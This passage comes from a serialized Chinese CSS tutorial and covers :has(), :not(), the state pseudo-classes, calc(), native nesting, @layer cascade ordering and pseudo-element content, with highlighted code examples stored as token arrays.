",[22,116622,109546],{},[11,116624,116625,322,116628,1901,116630,116632,116633,116636,116637,116640],{},[17,116626,116627],{},"解析风险必须知道",[22,116629,109546],{},[22,116631,109542],{}," 参数里出现浏览器无法解析的选择器片段，会导致",[17,116634,116635],{},"整条规则被丢弃","。因此不要把「很新的选择器」塞进它们的参数里当降级方案——那种情况请用 ",[22,116638,116639],{},"@supports","（第二十章）或独立规则。",[53,116642,116644,116647],{"id":116643},"has真正的父向选择器",[22,116645,116646],{},":has()","：真正的父向选择器",[308,116649,116651],{"className":108720,"code":116650,"language":108722,"meta":314,"style":314},".item:has(input:checked) { border-color: #0969da; }   \u002F* 状态上移到容器 *\u002F\n.card:has(img) { padding-top: 0; }                    \u002F* 有封面图的卡片去掉顶部留白 *\u002F\nli:has(> ul) { font-weight: 700; }                    \u002F* 「有子列表」的项加粗 *\u002F\nbody:has(#search:focus) .hero { opacity: .35; }       \u002F* 页面级联动，谨慎使用 *\u002F\n",[22,116652,116653,116677,116700,116727],{"__ignoreMap":314},[331,116654,116655,116658,116660,116662,116664,116666,116668,116670,116672,116674],{"class":333,"line":334},[331,116656,116657],{"class":501},".item:has",[331,116659,966],{"class":337},[331,116661,19733],{"class":497},[331,116663,70534],{"class":501},[331,116665,31033],{"class":337},[331,116667,111783],{"class":344},[331,116669,348],{"class":337},[331,116671,109986],{"class":344},[331,116673,35033],{"class":337},[331,116675,116676],{"class":1003},"\u002F* 状态上移到容器 *\u002F\n",[331,116678,116679,116682,116684,116686,116688,116690,116692,116694,116697],{"class":333,"line":341},[331,116680,116681],{"class":501},".card:has",[331,116683,966],{"class":337},[331,116685,18812],{"class":497},[331,116687,31033],{"class":337},[331,116689,110475],{"class":344},[331,116691,348],{"class":337},[331,116693,628],{"class":344},[331,116695,116696],{"class":337},"; }                    ",[331,116698,116699],{"class":1003},"\u002F* 有封面图的卡片去掉顶部留白 *\u002F\n",[331,116701,116702,116704,116707,116709,116711,116714,116716,116718,116720,116722,116724],{"class":333,"line":357},[331,116703,1662],{"class":497},[331,116705,116706],{"class":501},":has",[331,116708,966],{"class":337},[331,116710,42343],{"class":616},[331,116712,116713],{"class":497}," ul",[331,116715,31033],{"class":337},[331,116717,109949],{"class":344},[331,116719,348],{"class":337},[331,116721,78308],{"class":344},[331,116723,116696],{"class":337},[331,116725,116726],{"class":1003},"\u002F* 「有子列表」的项加粗 *\u002F\n",[331,116728,116729,116731,116733,116735,116738,116740,116742,116744,116746,116748,116750,116753],{"class":333,"line":371},[331,116730,800],{"class":497},[331,116732,116706],{"class":501},[331,116734,966],{"class":337},[331,116736,116737],{"class":501},"#search:focus",[331,116739,3180],{"class":337},[331,116741,111269],{"class":501},[331,116743,605],{"class":337},[331,116745,109666],{"class":344},[331,116747,348],{"class":337},[331,116749,111501],{"class":344},[331,116751,116752],{"class":337},"; }       ",[331,116754,116755],{"class":1003},"\u002F* 页面级联动，谨慎使用 *\u002F\n",[11,116757,116758,116759,116762,116763,116766,116767,116770],{},"参数里还能写相对关系：",[22,116760,116761],{},":has(+ .next)","（紧跟其后的兄弟存在）、",[22,116764,116765],{},":has(~ .x)","（之后同级存在）、",[22,116768,116769],{},":has(> .x)","（直接子元素）。它替掉了「用 JS 监听后给父加类」这一大类代码。",[11,116772,116433,116773,116775,116776,116779],{},[22,116774,116646],{}," 已在 Chrome \u002F Edge \u002F Safari \u002F Firefox 全量支持（Firefox 121 起），属 Baseline 可用。代价是浏览器要在结构变化时重算，避免在超大列表上写高成本的选择器链（例如 ",[22,116777,116778],{},"body:has(...)"," 这种全局查询）。",[53,116781,116783,116785],{"id":116782},"not-的多参数与结构伪类",[22,116784,109494],{}," 的多参数与结构伪类",[308,116787,116789],{"className":108720,"code":116788,"language":108722,"meta":314,"style":314},".btn:not(.primary, [disabled]) { … }    \u002F* 逗号 = and，等价于串联两个 :not() *\u002F\nli:nth-child(2 of .tag) { … }           \u002F* 「.tag 里的第 2 个」 *\u002F\ntr:nth-child(odd of :is(.tag, .note)) { … }\nli:nth-last-child(-n+2) { … }           \u002F* 倒数两项 *\u002F\n",[22,116790,116791,116812,116828,116847],{"__ignoreMap":314},[331,116792,116793,116796,116798,116801,116804,116806,116809],{"class":333,"line":334},[331,116794,116795],{"class":501},".btn:not",[331,116797,966],{"class":337},[331,116799,116800],{"class":501},".primary",[331,116802,116803],{"class":337},", [",[331,116805,26099],{"class":501},[331,116807,116808],{"class":337},"]) { … }    ",[331,116810,116811],{"class":1003},"\u002F* 逗号 = and，等价于串联两个 :not() *\u002F\n",[331,116813,116814,116816,116818,116820,116822,116825],{"class":333,"line":341},[331,116815,1662],{"class":497},[331,116817,109332],{"class":501},[331,116819,966],{"class":337},[331,116821,9292],{"class":344},[331,116823,116824],{"class":337}," of .tag) { … }           ",[331,116826,116827],{"class":1003},"\u002F* 「.tag 里的第 2 个」 *\u002F\n",[331,116829,116830,116832,116834,116836,116839,116842,116844],{"class":333,"line":357},[331,116831,63],{"class":497},[331,116833,109332],{"class":501},[331,116835,966],{"class":337},[331,116837,116838],{"class":344},"odd",[331,116840,116841],{"class":337}," of :is(.tag, .",[331,116843,27399],{"class":344},[331,116845,116846],{"class":337},"ote)) { … }\n",[331,116848,116849,116851,116854,116856,116859,116862],{"class":333,"line":371},[331,116850,1662],{"class":497},[331,116852,116853],{"class":501},":nth-last-child",[331,116855,966],{"class":337},[331,116857,116858],{"class":344},"-n+2",[331,116860,116861],{"class":337},") { … }           ",[331,116863,116864],{"class":1003},"\u002F* 倒数两项 *\u002F\n",[11,116866,116867,116870],{},[22,116868,116869],{},":nth-child(An+B of S)"," 解决了「跳过表头后再数奇偶」「只在某类元素里数第 N 个」这两个长期只能靠 JS 的需求。浏览器基线：这一形态同样已是主流内核全量支持（Firefox 113 \u002F Chrome 111 一线起）。",[53,116872,116874],{"id":116873},"状态伪类表单与交互的真相来源","状态伪类：表单与交互的真相来源",[57,116876,116877,116887],{},[60,116878,116879],{},[63,116880,116881,116883,116885],{},[66,116882,109197],{},[66,116884,49671],{},[66,116886,27698],{},[79,116888,116889,116904,116916,116936,116952,116968,116988,117004,117017],{},[63,116890,116891,116895,116898],{},[84,116892,116893],{},[22,116894,109412],{},[84,116896,116897],{},"只在「该显示焦点环」时命中（键盘导航）",[84,116899,116900,116901,116903],{},"替代 ",[22,116902,112115],{}," 的正确写法，可访问性硬要求",[63,116905,116906,116910,116913],{},[84,116907,116908],{},[22,116909,114700],{},[84,116911,116912],{},"后代任一元素获得焦点时命中容器",[84,116914,116915],{},"搜索框整块高亮的最省方案",[63,116917,116918,116926,116929],{},[84,116919,116920,1901,116923],{},[22,116921,116922],{},":valid",[22,116924,116925],{},":invalid",[84,116927,116928],{},"校验状态",[84,116930,116931,116932,116935],{},"未交互的空必填项也算 ",[22,116933,116934],{},"invalid","，直接上红框会吓人",[63,116937,116938,116943,116946],{},[84,116939,116940],{},[22,116941,116942],{},":user-invalid",[84,116944,116945],{},"用户改过之后才判无效",[84,116947,116948,116949,116951],{},"做红框提示比 ",[22,116950,116925],{}," 合适（较新内核）",[63,116953,116954,116959,116962],{},[84,116955,116956],{},[22,116957,116958],{},":placeholder-shown",[84,116960,116961],{},"占位符仍显示",[84,116963,116964,116965,116967],{},"浮动 label 老配方，现在可用 ",[22,116966,116646],{}," 更直观",[63,116969,116970,116980,116983],{},[84,116971,116972,1901,116974,1901,116977],{},[22,116973,70534],{},[22,116975,116976],{},":default",[22,116978,116979],{},":indeterminate",[84,116981,116982],{},"选中 \u002F 默认选中 \u002F 半选",[84,116984,116985,116987],{},[22,116986,116979],{}," 只能由 JS 设置",[63,116989,116990,116995,117001],{},[84,116991,116992],{},[22,116993,116994],{},":open",[84,116996,116997,117000],{},[22,116998,116999],{},"\u003Cdetails>"," 展开",[84,117002,117003],{},"纯 CSS 折叠面板的状态源（第十七章配合伪元素）",[63,117005,117006,117011,117014],{},[84,117007,117008],{},[22,117009,117010],{},":target",[84,117012,117013],{},"URL 的 hash 指向它",[84,117015,117016],{},"「定位高亮」零成本",[63,117018,117019,117024,117030],{},[84,117020,117021],{},[22,117022,117023],{},":lang(zh)",[84,117025,117026,117027,117029],{},"按 ",[22,117028,66165],{}," 匹配",[84,117031,117032],{},"中英文的标点、字距、字体差异靠它",[53,117034,117036,117038],{"id":117035},"calc-与混合单位",[22,117037,116475],{}," 与混合单位",[308,117040,117042],{"className":108720,"code":117041,"language":108722,"meta":314,"style":314},".el { width: calc(100% - 2 * 16px); }               \u002F* %、px 必须在 calc 里才能相减 *\u002F\n.el { font-size: calc(1rem + 0.5vw); }\n.el { padding: max(12px, calc((100% - 640px) \u002F 2)); }\n.el { margin-top: calc(var(--n) * 6px); }\n",[22,117043,117044,117080,117107,117151],{"__ignoreMap":314},[331,117045,117046,117049,117051,117053,117055,117057,117059,117061,117063,117065,117067,117069,117072,117074,117077],{"class":333,"line":334},[331,117047,117048],{"class":501},".el",[331,117050,605],{"class":337},[331,117052,608],{"class":344},[331,117054,348],{"class":337},[331,117056,114564],{"class":344},[331,117058,966],{"class":337},[331,117060,712],{"class":344},[331,117062,715],{"class":616},[331,117064,63216],{"class":616},[331,117066,18023],{"class":344},[331,117068,1045],{"class":616},[331,117070,117071],{"class":344}," 16",[331,117073,617],{"class":616},[331,117075,117076],{"class":337},"); }               ",[331,117078,117079],{"class":1003},"\u002F* %、px 必须在 calc 里才能相减 *\u002F\n",[331,117081,117082,117084,117086,117088,117090,117092,117094,117096,117098,117100,117103,117105],{"class":333,"line":341},[331,117083,117048],{"class":501},[331,117085,605],{"class":337},[331,117087,690],{"class":344},[331,117089,348],{"class":337},[331,117091,114564],{"class":344},[331,117093,966],{"class":337},[331,117095,7993],{"class":344},[331,117097,109814],{"class":616},[331,117099,6321],{"class":616},[331,117101,117102],{"class":344}," 0.5",[331,117104,109859],{"class":616},[331,117106,111705],{"class":337},[331,117108,117109,117111,117113,117115,117117,117119,117121,117123,117125,117127,117129,117131,117133,117135,117137,117140,117142,117144,117146,117148],{"class":333,"line":357},[331,117110,117048],{"class":501},[331,117112,605],{"class":337},[331,117114,633],{"class":344},[331,117116,348],{"class":337},[331,117118,30126],{"class":344},[331,117120,966],{"class":337},[331,117122,93883],{"class":344},[331,117124,617],{"class":616},[331,117126,409],{"class":337},[331,117128,114564],{"class":344},[331,117130,3175],{"class":337},[331,117132,712],{"class":344},[331,117134,715],{"class":616},[331,117136,63216],{"class":616},[331,117138,117139],{"class":344}," 640",[331,117141,617],{"class":616},[331,117143,3180],{"class":337},[331,117145,655],{"class":616},[331,117147,18023],{"class":344},[331,117149,117150],{"class":337},")); }\n",[331,117152,117153,117155,117157,117159,117161,117163,117165,117167,117169,117172,117174,117176,117178,117180],{"class":333,"line":371},[331,117154,117048],{"class":501},[331,117156,605],{"class":337},[331,117158,110483],{"class":344},[331,117160,348],{"class":337},[331,117162,114564],{"class":344},[331,117164,966],{"class":337},[331,117166,18923],{"class":344},[331,117168,966],{"class":337},[331,117170,117171],{"class":2472},"--n",[331,117173,3180],{"class":337},[331,117175,18020],{"class":616},[331,117177,77285],{"class":344},[331,117179,617],{"class":616},[331,117181,111705],{"class":337},[11,117183,117184,117185,268,117187,117189,117190,268,117192,117194,117195,655,117197,655,117199,5160,117201,117203],{},"三条规则：",[22,117186,12714],{},[22,117188,6659],{}," 两侧要有空格；",[22,117191,18020],{},[22,117193,655],{}," 的乘除数必须是纯数字（带单位非法）；参与长度计算的变量必须自带单位。",[22,117196,115120],{},[22,117198,115123],{},[22,117200,115126],{},[22,117202,116475],{}," 可以互相嵌套（第十三章的流式排版正是这个组合）。",[11,117205,117206,117207,272,117210,272,117213,272,117216,272,117219,117222,117223,117225],{},"更新的数学函数（",[22,117208,117209],{},"round()",[22,117211,117212],{},"mod()",[22,117214,117215],{},"sign()",[22,117217,117218],{},"hypot()",[22,117220,117221],{},"tan()"," 等）已进入主流内核，用于生产前请用 ",[22,117224,116639],{}," 检查（第二十章）。",[53,117227,117228],{"id":117228},"什么时候不该用现代选择器",[1659,117230,117231,117236,117241,117244],{},[1662,117232,16105,117233,117235],{},[22,117234,116646],{}," 表达「需要 JS 才能算出的业务状态」——状态该由 JS 写类，选择器只负责样式；",[1662,117237,1847,117238,117240],{},[22,117239,109546],{}," 里混入不支持的选择器，整条规则被丢弃；",[1662,117242,117243],{},"用超长选择器链去「抢权重」——权重问题回第四章，靠更合理的类名结构解决；",[1662,117245,57419,117246,1901,117249,117252],{},[22,117247,117248],{},"@scope",[22,117250,117251],{},":scope"," 做常规样式：仍在演进，生产项目请谨慎。",[48,117254,117256,117257],{"id":117255},"十六原生嵌套与-layer","十六、原生嵌套与 ",[22,117258,108685],{},[11,117260,117261,117262,117265,117266,117269],{},"CSS 规范补上了两件 Sass 早就有的能力：",[17,117263,117264],{},"原生嵌套","（少写重复上下文）与",[17,117267,117268],{},"层叠层","（把「谁优先」变成显式声明）。",[4748,117271],{"height":114031,"src":117272,"title":117273},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F16-nesting-layers.html","示例 16：& 嵌套、条件规则内嵌、@layer 顺序表",[53,117275,117277,117278,117280],{"id":117276},"原生嵌套-是外层选择器原文","原生嵌套：",[22,117279,55024],{}," 是「外层选择器原文」",[308,117282,117284],{"className":108720,"code":117283,"language":108722,"meta":314,"style":314},".card {\n  border: 1px solid #d0d7de;\n  &:hover { border-color: #0969da; }        \u002F* → .card:hover *\u002F\n  & .meta { color: #57606a; }               \u002F* → .card .meta *\u002F\n  & + .card { margin-top: 10px; }           \u002F* → .card + .card *\u002F\n  &.is-active { border-width: 2px; }        \u002F* → .card.is-active —— 注意 & 与修饰符之间没有空格 *\u002F\n  &:has(img) { padding-top: 0; }\n  &::after { content: \"\"; }\n}\n.btn { &--primary { … } }                    \u002F* → .btn--primary，BEM 修饰符最短写法 *\u002F\n",[22,117285,117286,117292,117309,117329,117349,117374,117397,117417,117433,117437],{"__ignoreMap":314},[331,117287,117288,117290],{"class":333,"line":334},[331,117289,109053],{"class":501},[331,117291,1100],{"class":337},[331,117293,117294,117297,117299,117301,117303,117305,117307],{"class":333,"line":341},[331,117295,117296],{"class":344},"  border",[331,117298,348],{"class":337},[331,117300,7993],{"class":344},[331,117302,617],{"class":616},[331,117304,24072],{"class":344},[331,117306,111811],{"class":344},[331,117308,108769],{"class":337},[331,117310,117311,117314,117316,117318,117320,117322,117324,117326],{"class":333,"line":357},[331,117312,117313],{"class":497},"  &",[331,117315,109406],{"class":501},[331,117317,605],{"class":337},[331,117319,111783],{"class":344},[331,117321,348],{"class":337},[331,117323,109986],{"class":344},[331,117325,110594],{"class":337},[331,117327,117328],{"class":1003},"\u002F* → .card:hover *\u002F\n",[331,117330,117331,117333,117335,117337,117339,117341,117344,117346],{"class":333,"line":371},[331,117332,117313],{"class":497},[331,117334,116542],{"class":501},[331,117336,605],{"class":337},[331,117338,109612],{"class":344},[331,117340,348],{"class":337},[331,117342,117343],{"class":344},"#57606a",[331,117345,111852],{"class":337},[331,117347,117348],{"class":1003},"\u002F* → .card .meta *\u002F\n",[331,117350,117351,117353,117355,117358,117360,117362,117364,117366,117368,117371],{"class":333,"line":384},[331,117352,117313],{"class":497},[331,117354,6321],{"class":616},[331,117356,117357],{"class":501}," .card",[331,117359,605],{"class":337},[331,117361,110483],{"class":344},[331,117363,348],{"class":337},[331,117365,724],{"class":344},[331,117367,617],{"class":616},[331,117369,117370],{"class":337},"; }           ",[331,117372,117373],{"class":1003},"\u002F* → .card + .card *\u002F\n",[331,117375,117376,117378,117381,117383,117386,117388,117390,117392,117394],{"class":333,"line":397},[331,117377,117313],{"class":497},[331,117379,117380],{"class":501},".is-active",[331,117382,605],{"class":337},[331,117384,117385],{"class":344},"border-width",[331,117387,348],{"class":337},[331,117389,9292],{"class":344},[331,117391,617],{"class":616},[331,117393,110594],{"class":337},[331,117395,117396],{"class":1003},"\u002F* → .card.is-active —— 注意 & 与修饰符之间没有空格 *\u002F\n",[331,117398,117399,117401,117403,117405,117407,117409,117411,117413,117415],{"class":333,"line":418},[331,117400,117313],{"class":497},[331,117402,116706],{"class":501},[331,117404,966],{"class":337},[331,117406,18812],{"class":497},[331,117408,31033],{"class":337},[331,117410,110475],{"class":344},[331,117412,348],{"class":337},[331,117414,628],{"class":344},[331,117416,664],{"class":337},[331,117418,117419,117421,117423,117425,117427,117429,117431],{"class":333,"line":427},[331,117420,117313],{"class":497},[331,117422,109096],{"class":501},[331,117424,605],{"class":337},[331,117426,112503],{"class":344},[331,117428,348],{"class":337},[331,117430,81717],{"class":365},[331,117432,664],{"class":337},[331,117434,117435],{"class":333,"line":439},[331,117436,459],{"class":337},[331,117438,117439,117441,117443,117445,117448],{"class":333,"line":450},[331,117440,109486],{"class":501},[331,117442,605],{"class":337},[331,117444,55024],{"class":497},[331,117446,117447],{"class":337},"--primary { … } }                    ",[331,117449,117450],{"class":1003},"\u002F* → .btn--primary，BEM 修饰符最短写法 *\u002F\n",[11,117452,117453,117454,5664,117457,18878,117460,117463],{},"空格是有语义的：",[22,117455,117456],{},"&--hot",[22,117458,117459],{},".card--hot",[22,117461,117462],{},"& --hot"," 是后代选择器。这是嵌套最常见的笔误。",[11,117465,117466,117468,117469,117472,117473,117476],{},[22,117467,55024],{}," 出现在最前面时可以省略（",[22,117470,117471],{}," .card { h3 { … } }","），但",[17,117474,117475],{},"不建议","——省略后隐含的是后代关系，权重和匹配范围都变了，可读性也下降。",[11,117478,117479,117480,272,117482,322],{},"条件规则可以写在规则内部，包括媒体查询、",[22,117481,116639],{},[22,117483,117484],{},"@container",[308,117486,117488],{"className":108720,"code":117487,"language":108722,"meta":314,"style":314},".menu { @media (max-width: 24rem) { & { font-size: 13px; } } }\n",[22,117489,117490],{"__ignoreMap":314},[331,117491,117492,117495,117497,117499,117501,117503,117505,117507,117509,117511,117513,117515,117517,117519,117522,117524],{"class":333,"line":334},[331,117493,117494],{"class":501},".menu",[331,117496,605],{"class":337},[331,117498,114758],{"class":616},[331,117500,1147],{"class":337},[331,117502,108489],{"class":344},[331,117504,348],{"class":337},[331,117506,115200],{"class":344},[331,117508,109814],{"class":616},[331,117510,31033],{"class":337},[331,117512,55024],{"class":497},[331,117514,605],{"class":337},[331,117516,690],{"class":344},[331,117518,348],{"class":337},[331,117520,117521],{"class":344},"13",[331,117523,617],{"class":616},[331,117525,117526],{"class":337},"; } } }\n",[11,117528,117529,117530,117532],{},"浏览器基线：原生嵌套（含 ",[22,117531,55024],{},"、条件规则内嵌）在 Safari 16.5 \u002F Chrome 112 \u002F Firefox 117 一线已全量支持，属 Baseline 可用。需要兼容更旧内核时，让构建工具（Sass、PostCSS、Lightning CSS）降级展开，不要在生产里裸写。",[53,117534,117536],{"id":117535},"嵌套的代价选择器膨胀","嵌套的代价：选择器膨胀",[308,117538,117540],{"className":108720,"code":117539,"language":108722,"meta":314,"style":314},"\u002F* 四层嵌套写起来爽，展开后是这种怪物： *\u002F\n.page .section .list .item:hover .title span { … }   \u002F* 权重 (0,4,3)，几乎无法覆盖 *\u002F\n",[22,117541,117542,117547],{"__ignoreMap":314},[331,117543,117544],{"class":333,"line":334},[331,117545,117546],{"class":1003},"\u002F* 四层嵌套写起来爽，展开后是这种怪物： *\u002F\n",[331,117548,117549,117551,117554,117557,117560,117562,117564,117567],{"class":333,"line":341},[331,117550,113511],{"class":501},[331,117552,117553],{"class":501}," .section",[331,117555,117556],{"class":501}," .list",[331,117558,117559],{"class":501}," .item:hover",[331,117561,116535],{"class":501},[331,117563,109171],{"class":497},[331,117565,117566],{"class":337}," { … }   ",[331,117568,117569],{"class":1003},"\u002F* 权重 (0,4,3)，几乎无法覆盖 *\u002F\n",[11,117571,117572,117573,117575],{},"症状：想改一个标题颜色只能加 ",[22,117574,24107],{},"；改一处 DOM 结构样式全断。四条经验值：",[1659,117577,117578,117581,117588,117591],{},[1662,117579,117580],{},"嵌套深度 ≤ 2 层（组件本体 + 一个子元素或状态）；",[1662,117582,117583,117584,117587],{},"不要把布局上下文写进组件——组件不该知道自己被放在哪个 ",[22,117585,117586],{},".page .section"," 里；",[1662,117589,117590],{},"需要跨层级联动时用「变量或状态类」而不是选择器链（第十四章的组件变量）；",[1662,117592,117593],{},"权重问题回第四章解决，靠类名结构而不是嵌套堆叠。",[53,117595,117597,117599],{"id":117596},"layer把优先级写成一句声明",[22,117598,108685],{},"：把优先级写成一句声明",[308,117601,117603],{"className":108720,"code":117602,"language":108722,"meta":314,"style":314},"@layer reset, base, vendors, components, utilities, overrides;   \u002F* 越靠后越优先 *\u002F\n\n@layer base     { .panel { border-color: #bf8700; } }\n@layer vendors  { .panel { border-color: #cf222e; } }   \u002F* 后声明的层赢，与书写顺序无关 *\u002F\n",[22,117604,117605,117641,117645,117667],{"__ignoreMap":314},[331,117606,117607,117609,117612,117614,117616,117618,117621,117623,117625,117627,117630,117632,117635,117638],{"class":333,"line":334},[331,117608,108685],{"class":616},[331,117610,117611],{"class":2472}," reset",[331,117613,409],{"class":337},[331,117615,15338],{"class":2472},[331,117617,409],{"class":337},[331,117619,117620],{"class":2472},"vendors",[331,117622,409],{"class":337},[331,117624,4582],{"class":2472},[331,117626,409],{"class":337},[331,117628,117629],{"class":2472},"utilities",[331,117631,409],{"class":337},[331,117633,117634],{"class":2472},"overrides",[331,117636,117637],{"class":337},";   ",[331,117639,117640],{"class":1003},"\u002F* 越靠后越优先 *\u002F\n",[331,117642,117643],{"class":333,"line":341},[331,117644,998],{"emptyLinePlaceholder":997},[331,117646,117647,117649,117651,117654,117656,117658,117660,117662,117665],{"class":333,"line":357},[331,117648,108685],{"class":616},[331,117650,35296],{"class":2472},[331,117652,117653],{"class":337},"     { ",[331,117655,113828],{"class":501},[331,117657,605],{"class":337},[331,117659,111783],{"class":344},[331,117661,348],{"class":337},[331,117663,117664],{"class":344},"#bf8700",[331,117666,114888],{"class":337},[331,117668,117669,117671,117674,117676,117678,117680,117682,117684,117687,117690],{"class":333,"line":371},[331,117670,108685],{"class":616},[331,117672,117673],{"class":2472}," vendors",[331,117675,111981],{"class":337},[331,117677,113828],{"class":501},[331,117679,605],{"class":337},[331,117681,111783],{"class":344},[331,117683,348],{"class":337},[331,117685,117686],{"class":344},"#cf222e",[331,117688,117689],{"class":337},"; } }   ",[331,117691,117692],{"class":1003},"\u002F* 后声明的层赢，与书写顺序无关 *\u002F\n",[11,117694,117695,117696,117698],{},"它解决的是老问题：第三方库和工具类的样式总在悄悄抢权重。有了层，你不再靠「写得靠后」或「加 ",[22,117697,24107],{},"」取胜，而是靠声明层顺序。",[11,117700,117701,117702,117705,117706,117709],{},"同名层会合并；",[22,117703,117704],{},"@layer components { @layer button { … } }"," 形成 ",[22,117707,117708],{},"components.button"," 子层；还可以让第三方 CSS 进层而不改它源码：",[308,117711,117713],{"className":108720,"code":117712,"language":108722,"meta":314,"style":314},"@layer vendors { @import \"reset.css\"; }\n",[22,117714,117715],{"__ignoreMap":314},[331,117716,117717,117719,117721,117723,117725,117728],{"class":333,"line":334},[331,117718,108685],{"class":616},[331,117720,117673],{"class":2472},[331,117722,605],{"class":337},[331,117724,108533],{"class":616},[331,117726,117727],{"class":365}," \"reset.css\"",[331,117729,664],{"class":337},[53,117731,117733],{"id":117732},"完整的层叠顺序必须记住的一张表","完整的层叠顺序（必须记住的一张表）",[11,117735,117736],{},"从高到低：",[1659,117738,117739,117745,117750,117763,117769,117776,117779],{},[1662,117740,117741,117744],{},[17,117742,117743],{},"进行中的过渡\u002F动画声明","（第十八章）；",[1662,117746,74488,117747,117749],{},[22,117748,24107],{},"（扩展、用户样式表）；",[1662,117751,117752,117753,322,117755,117758,117759,117762],{},"作者 ",[22,117754,24107],{},[17,117756,117757],{},"未分层最高","，各层之间则",[17,117760,117761],{},"反向","（越早声明的层越优先）——这条最反直觉；",[1662,117764,117765,117768],{},[17,117766,117767],{},"未分层（unlayered）作者样式","：比所有已声明的层都高；",[1662,117770,117771,117772,117775],{},"分层作者样式：按 ",[22,117773,117774],{},"@layer a, b, c;"," 顺序，c > b > a，同层内回到第四章的权重规则；",[1662,117777,117778],{},"用户样式表；",[1662,117780,117781],{},"浏览器默认。",[11,117783,117784],{},"第 4 条是实践中最容易踩的：「随手加的一行补丁」默认就是最强，会压住你所有分层规则。想让补丁被层管理，就把它放进最末的层。",[11,117786,117787,117788,117790,117791,117793],{},"另外区分两个名字相近、机制无关的概念：",[17,117789,114484],{},"（第十二章的几何问题）与",[17,117792,114488],{},"（本节的声明顺序问题）。",[11,117795,116433,117796,5160,117798,117801,117802,117805],{},[22,117797,108685],{},[22,117799,117800],{},"layer()"," 函数在 Chrome 99 \u002F Safari 15.4 \u002F Firefox 103 一线已全量支持。用法建议：",[17,117803,117804],{},"项目从零开始才引入分层","；给已有大项目补层容易和未分层样式打架。",[53,117807,117808],{"id":117808},"自查",[1659,117810,117811,117821,117827,117833],{},[1662,117812,117813,117814,117816,117817,79510,117819,5177],{},"「嵌套写了没生效」→ 检查 ",[22,117815,55024],{}," 与空格（",[22,117818,117456],{},[22,117820,117462],{},[1662,117822,117823,117824,117826],{},"「层里的样式被随手一行盖掉」→ 那是未分层默认最高，符合规范，把补丁挪进 ",[22,117825,117634],{}," 层；",[1662,117828,117829,117830,117832],{},"「加了 ",[22,117831,24107],{}," 反而输给早层」→ 正确行为；",[1662,117834,117835],{},"「DevTools 里看不懂谁赢」→ Styles 面板会显示层名与权重，逐条取消勾选验证（第二十章）。",[48,117837,117839],{"id":117838},"十七伪元素与生成内容","十七、伪元素与生成内容",[11,117841,117842,1901,117844,117846],{},[22,117843,109089],{},[22,117845,109096],{}," 是「不写进 HTML 的装饰盒子」。它的价值在于让表现性内容与文档结构分离——代价是这份内容对搜索、复制、辅助技术都不可靠。",[4748,117848],{"height":113367,"src":117849,"title":117850},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F17-pseudo-elements.html","示例 17：content 取值、counter 自动编号、::selection 与纯 CSS 装饰",[53,117852,117854,117855],{"id":117853},"只有一个前提必须有-content","只有一个前提：必须有 ",[22,117856,112503],{},[308,117858,117860],{"className":108720,"code":117859,"language":108722,"meta":314,"style":314},".x::before { content: \"\"; }      \u002F* 生成一个空盒子 —— 装饰全靠它 *\u002F\n.x::before { content: none; }    \u002F* 完全不生成，伪元素不存在 *\u002F\n",[22,117861,117862,117881],{"__ignoreMap":314},[331,117863,117864,117867,117869,117871,117873,117875,117878],{"class":333,"line":334},[331,117865,117866],{"class":501},".x::before",[331,117868,605],{"class":337},[331,117870,112503],{"class":344},[331,117872,348],{"class":337},[331,117874,81717],{"class":365},[331,117876,117877],{"class":337},"; }      ",[331,117879,117880],{"class":1003},"\u002F* 生成一个空盒子 —— 装饰全靠它 *\u002F\n",[331,117882,117883,117885,117887,117889,117891,117893,117895],{"class":333,"line":341},[331,117884,117866],{"class":501},[331,117886,605],{"class":337},[331,117888,112503],{"class":344},[331,117890,348],{"class":337},[331,117892,50866],{"class":344},[331,117894,110567],{"class":337},[331,117896,117897],{"class":1003},"\u002F* 完全不生成，伪元素不存在 *\u002F\n",[11,117899,51547,117900,117902,117903,117905],{},[22,117901,112503],{}," 时伪元素不会渲染。单冒号 ",[22,117904,109437],{}," 也能工作，但规范用双冒号区分伪元素与伪类（单冒号）。",[53,117907,117909,117911],{"id":117908},"content-的取值形态",[22,117910,112503],{}," 的取值形态",[308,117913,117915],{"className":108720,"code":117914,"language":108722,"meta":314,"style":314},".x::before { content: \"文字\"; }\n.x::before { content: attr(data-icon) \" \"; }                    \u002F* 属性值，可拼接 *\u002F\n.x::after  { content: \"（来源：\" attr(data-src, \"未标注\") \"）\"; }  \u002F* attr() 第二参数是回退值 *\u002F\n.x::after  { content: url(arrow.svg); }                          \u002F* 图片 *\u002F\n.x::before { content: counter(n) \".\" counter(m); }               \u002F* 计数器 *\u002F\n.x::before { content: open-quote; }                              \u002F* 引号，跟随 lang 与 quotes *\u002F\n.x::before { content: \"\\201C 转义字符\"; }                        \u002F* Unicode 转义后要有空格 *\u002F\n",[22,117916,117917,117932,117960,117997,118020,118055,118074],{"__ignoreMap":314},[331,117918,117919,117921,117923,117925,117927,117930],{"class":333,"line":334},[331,117920,117866],{"class":501},[331,117922,605],{"class":337},[331,117924,112503],{"class":344},[331,117926,348],{"class":337},[331,117928,117929],{"class":365},"\"文字\"",[331,117931,664],{"class":337},[331,117933,117934,117936,117938,117940,117942,117945,117947,117950,117952,117955,117957],{"class":333,"line":341},[331,117935,117866],{"class":501},[331,117937,605],{"class":337},[331,117939,112503],{"class":344},[331,117941,348],{"class":337},[331,117943,117944],{"class":344},"attr",[331,117946,966],{"class":337},[331,117948,117949],{"class":2472},"data-icon",[331,117951,3180],{"class":337},[331,117953,117954],{"class":365},"\" \"",[331,117956,116696],{"class":337},[331,117958,117959],{"class":1003},"\u002F* 属性值，可拼接 *\u002F\n",[331,117961,117962,117965,117967,117969,117971,117974,117977,117979,117982,117984,117987,117989,117992,117994],{"class":333,"line":357},[331,117963,117964],{"class":501},".x::after",[331,117966,111981],{"class":337},[331,117968,112503],{"class":344},[331,117970,348],{"class":337},[331,117972,117973],{"class":365},"\"（来源：\"",[331,117975,117976],{"class":344}," attr",[331,117978,966],{"class":337},[331,117980,117981],{"class":2472},"data-src",[331,117983,409],{"class":337},[331,117985,117986],{"class":365},"\"未标注\"",[331,117988,3180],{"class":337},[331,117990,117991],{"class":365},"\"）\"",[331,117993,110305],{"class":337},[331,117995,117996],{"class":1003},"\u002F* attr() 第二参数是回退值 